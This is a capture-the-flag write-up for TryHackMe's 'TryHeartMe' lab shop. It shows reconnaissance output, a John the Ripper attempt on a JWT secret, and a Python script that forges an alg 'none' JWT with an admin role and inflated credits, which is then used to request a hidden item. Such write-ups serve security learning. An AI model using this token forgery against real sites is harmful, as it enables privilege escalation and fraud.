Skip to main content

Command Palette

Search for a command to run...

TryHeartMe (TryHackMe CTF Writeup)

Published
6 min read
TryHeartMe   (TryHackMe CTF Writeup)

TryHeartMe is an e-commerce/web exploitation Challenge that was part of the Love at First Breach 2026, red team beginner’s CTF. It covers JWT token manipulation using the "none" algorithm attack to bypass signature verification and purchase a hidden product.

Challenge Overview

My Dearest Hacker,

The TryHeartMe shop is open for business. Can you find a way to purchase the hidden “Valenflag” item? 
You can access the web app here: http://MACHINE_IP:5000

With love,
Chief Inspector Valentine 💕

Tools Used

  • Nmap - Port scanning and service enumeration

  • Gobuster - Directory/endpoint enumeration

  • curl - Initial reconnaissance and HTTP requests

  • Burp Suite - Request interception, modification, and replaying (key tool!)

  • Python - JWT token generation/manipulation

  • John the Ripper - Attempted JWT secret cracking

  • Base64 decoder - JWT payload analysis

Answer the questions below

What is the flag?

Initial Reconnaissance

Started with the basics, running Nmap scan and Gobuster as well as any basic information I would find about the site

nmap -p- -sV <IP_Address>
Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-13 17:29 GMT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for <IP_Address>
Host is up (0.00014s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
5000/tcp open  upnp?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.80%I=7%D=2/13%Time=698F5F8E%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,DC6,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.0\.1\x20
SF:Python/3\.12\.3\r\nDate:\x20Fri,\x2013\x20Feb\x202026\x2017:29:50\x20GM
SF:T\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x2
SF:03351\r\nConnection:\x20close\r\n\r\n<!doctype\x20html>\n<html\x20lang=
SF:\"en\">\n<head>\n\x20\x20<meta\x20charset=\"utf-8\"/>\n\x20\x20<meta\x2
SF:0name=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\
SF:"/>\n\x20\x20<title>TryHeartMe\x20\xe2\x80\x94\x20Shop</title>\n\x20\x2
SF:0<link\x20rel=\"stylesheet\"\x20href=\"/static/css/style\.css\">\n\x20\
SF:x20<script\x20defer\x20src=\"/static/js/app\.js\"></script>\n</head>\n<
SF:body>\n<header\x20class=\"topbar\">\n\x20\x20<a\x20class=\"brand\"\x20h
SF:ref=\"/\">\n\x20\x20\x20\x20<img\x20class=\"brand-mark\"\x20src=\"/stat
SF:ic/img/logo\.png\"\x20alt=\"TryHeartMe\">\n\x20\x20</a>\n\n\x20\x20\x20
SF:\x20<nav\x20class=\"nav\">\n\x20\x20\x20\x20\x20\x20<a\x20href=\"/\"\x2
SF:0class=\"navlink\">Shop</a>\n\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20
SF:\x20\x20\x20\x20<a\x20href=\"/login\"\x20class=\"navbtn\x20navbtn--pill
SF:\">Login</a>\n\x20\x20\x20\x20\x20\x20\x20\x20<a\x20href=\"/register\"\
SF:x20class=\"navbtn\x20navbtn--primary\x20navbtn--pill\">Sign\x20up</a>\n
SF:\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20</nav>\n\x20\x20</header>\n\n
SF:\x20\x20<main\x20class=\"container\">\n\x20\x20\x20\x20\n\x20\x20\x20\x
SF:20\x20\x20\n\x20\x20\x20\x20\n\x20\x20")%r(RTSPRequest,16C,"<!DOCTYPE\x
SF:20HTML>\n<html\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x2
SF:0\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x20\
SF:x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20respons
SF:e</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20version
SF:\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20
SF:code\x20explanation:\x20400\x20-\x20Bad\x20request\x20syntax\x20or\x20u
SF:nsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.58 seconds

curl -i <IP_Address>:5000

curl -i <IP_Address>:5000
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.12.3
Date: Fri, 13 Feb 2026 17:32:52 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3351
Connection: close

<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8"/>
  <meta name="viewport" content="width=device-width, initial-scale=1"/>
  <title>TryHeartMe \u2014 Shop</title>
  <link rel="stylesheet" href="/static/css/style.css">
  <script defer src="/static/js/app.js"></script>
</head>
<body>
<header class="topbar">
  <a class="brand" href="/">
    <img class="brand-mark" src="/static/img/logo.png" alt="TryHeartMe">
  </a>

    <nav class="nav">
      <a href="/" class="navlink">Shop</a>
      
        <a href="/login" class="navbtn navbtn--pill">Login</a>
        <a href="/register" class="navbtn navbtn--primary navbtn--pill">Sign up</a>
      
    </nav>
  </header>

  <main class="container">
    
      
    
    
<div class="page-head">
  <div>
    <h1 class="page-title">TryHeartMe Valentines Shop</h1>
    <p class="page-sub">Flowers, heart chocolates, and sweet surprises. Buy items using credits. Online top-ups are currently unavailable.</p>
  </div>
  <div class="toolbar">
    
      <span class="pill">Guest</span>
    
  </div>
</div>

<div class="grid grid--3">
  
    <a class="product" href="/product/rose-bouquet">
      <span class="badge ">Popular</span>
      <img class="product-img" src="/static/img/flowers.jpg" alt="">
      <div class="product-body">
        <div class="product-name">Rose Bouquet (12 stems)</div>
        <div class="product-desc">Fresh-cut roses with a satin ribbon. Delivered with a handwritten note.</div>
        <div class="product-foot">
          <div class="price">120 credits</div>
          <div style="color:var(--muted); font-size:12px">View</div>
        </div>
      </div>
    </a>
  
    <a class="product" href="/product/heart-choco">
      <span class="badge ">Limited</span>
      <img class="product-img" src="/static/img/heart-choco.jpg" alt="">
      <div class="product-body">
        <div class="product-name">Heart Chocolates (Box)</div>
        <div class="product-desc">Assorted heart-shaped chocolates with caramel &amp; praline.</div>
        <div class="product-foot">
          <div class="price">85 credits</div>
          <div style="color:var(--muted); font-size:12px">View</div>
        </div>
      </div>
    </a>
  
    <a class="product" href="/product/strawberry-dip">
      <span class="badge ">Sweet</span>
      <img class="product-img" src="/static/img/strawberries.jpg" alt="">
      <div class="product-body">
        <div class="product-name">Chocolate-Dipped Strawberries</div>
        <div class="product-desc">A dozen strawberries dipped in dark chocolate and pink drizzle.</div>
        <div class="product-foot">
          <div class="price">60 credits</div>
          <div style="color:var(--muted); font-size:12px">View</div>
        </div>
      </div>
    </a>
  
    <a class="product" href="/product/love-letter">
      <span class="badge ">Classic</span>
      <img class="product-img" src="/static/img/letter.jpg" alt="">
      <div class="product-body">
        <div class="product-name">Love Letter Card</div>
        <div class="product-desc">Premium card + envelope. Choose a message or write your own.</div>
        <div class="product-foot">
          <div class="price">25 credits</div>
          <div style="color:var(--muted); font-size:12px">View</div>
        </div>
      </div>
    </a>
  
</div>

  </main>

</body>
</html>
gobuster dir -u http://<IP_Address>:5000 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.49.156.181:5000
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/account              (Status: 302) [Size: 227] [--> /login?next=/account]
/admin                (Status: 302) [Size: 223] [--> /login?next=/admin]
/login                (Status: 200) [Size: 1461]
/logout               (Status: 302) [Size: 189] [--> /]
/register             (Status: 200) [Size: 1517]
Progress: 18456 / 18460 (99.98%)
===============================================================
Finished
===========
curl http://<IP_Address>:5000/static/js/app.js
(function(){
  const toasts = document.querySelectorAll('.toast');
  if(!toasts.length) return;
  setTimeout(() => {
    toasts.forEach(t => t.style.opacity = "0");
    setTimeout(() => toasts.forEach(t => t.remove()), 450);
  }, 3200);
})();
curl -i -X POST http://<IP_Address>:5000/register \
>   -d "username=testuser&password=password123"
HTTP/1.1 302 FOUND
Server: Werkzeug/3.0.1 Python/3.12.3
Date: Fri, 13 Feb 2026 17:42:45 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 217
Location: /register?next=
Vary: Cookie
Set-Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsiZXJyIiwiUGxlYXNlIHVzZSBhIHZhbGlkIGVtYWlsIGFuZCBwYXNzd29yZCAobWluIDYgY2hhcnMpLiJdfV19.aY9ilQ.XGeGVPS7sVIAJCHl-WkavmTUv7U; HttpOnly; Path=/
Connection: close

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/register?next=">/register?next=</a>. If not, click the link.
curl -i -X POST <http://10.49.156.181:5000/register> \\
>   -H "Content-Type: application/x-www-form-urlencoded" \\
>   -d "username=test@example.com&password=password123" \\
>   -c cookies.txt
HTTP/1.1 302 FOUND
Server: Werkzeug/3.0.1 Python/3.12.3
Date: Fri, 13 Feb 2026 17:46:26 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 217
Location: /register?next=
Vary: Cookie
Set-Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsiZXJyIiwiUGxlYXNlIHVzZSBhIHZhbGlkIGVtYWlsIGFuZCBwYXNzd29yZCAobWluIDYgY2hhcnMpLiJdfV19.aY9jcg.Hk5pPOoFiQ5_M6knqcT3V-XbNAg; HttpOnly; Path=/
Connection: close

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/register?next=">/register?next=</a>. If not, click the link.
curl -i -X POST <http://10.49.156.181:5000/login> \\
>   -H "Content-Type: application/x-www-form-urlencoded" \\
>   -d "username=test@example.com&password=password123" \\
>   -c cookies.txt -b cookies.txt
HTTP/1.1 302 FOUND
Server: Werkzeug/3.0.1 Python/3.12.3
Date: Fri, 13 Feb 2026 17:47:32 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 211
Location: /login?next=
Vary: Cookie
Set-Cookie: session=.eJyrVopPy0kszkgtVrKKrlZSKAFSSqlFRUo6SgE5qYnFqQqlQJyoUJaYk5mikJqbmJmjkJiXolCQWFxcnl-UoqCRm5mnYKaQnJFYVKyppxRbq4Nqimcestb8IrhOkNrYWgCjhiq_.aY9jtA.nzFBftVTZVRosnrpSfjgsMpjoZM; HttpOnly; Path=/
Connection: close

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login?next=">/login?next=</a>. If not, click the link.
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6ImFkbWluQHRyeWhlYXJ0bWUuY29tIiwicm9sZSI6InVzZXIiLCJjcmVkaXRzIjowLCJpYXQiOjE3NzEwNjUxMzIsInRoZW1lIjoidmFsZW50aW5lIn0.4H4wfa2AkGa9zNyGybPjM_DbaD2g3sY2p6GF0Q7xs6M" > jwt.txt
root@ip-10-48-84-255:~# john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:18 DONE (2026-02-14 10:40) 0g/s 795549p/s 795549c/s 795549C/s !Sketchy!..*7¡Vamos!
Session completed.
import base64
import json

# Header with "none" algorithm
header = {"alg": "none", "typ": "JWT"}
header_encoded = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=')

# Payload with lots of credits
payload = {
    "email": "admin@tryheartme.com",
    "role": "admin",
    "credits": 99999,
    "iat": 1771065132,
    "theme": "valentine"
}
payload_encoded = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=')

# JWT with no signature (note the trailing dot)
jwt_token = f"{header_encoded}.{payload_encoded}."
print(jwt_token)
GET /receipt/valenflag HTTP/1.1
Host: 10.48.172.84:5000
Accept-Language: en-GB,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Referer: <http://10.48.172.84:5000/>
Accept-Encoding: gzip, deflate, br
Cookie: tryheartme_jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6ImFkbWluQHRyeWhlYXJ0bWUuY29tIiwicm9sZSI6ImFkbWluIiwiY3JlZGl0cyI6OTkyMjIsImlhdCI6MTc3MTA2NjI2MywidGhlbWUiOiJ2YWxlbnRpbmUifQ.7ksZnszwg9hzk3a7kAhlqctipn5x4IBk0ZLbeNuTeiM
Connection: keep-alive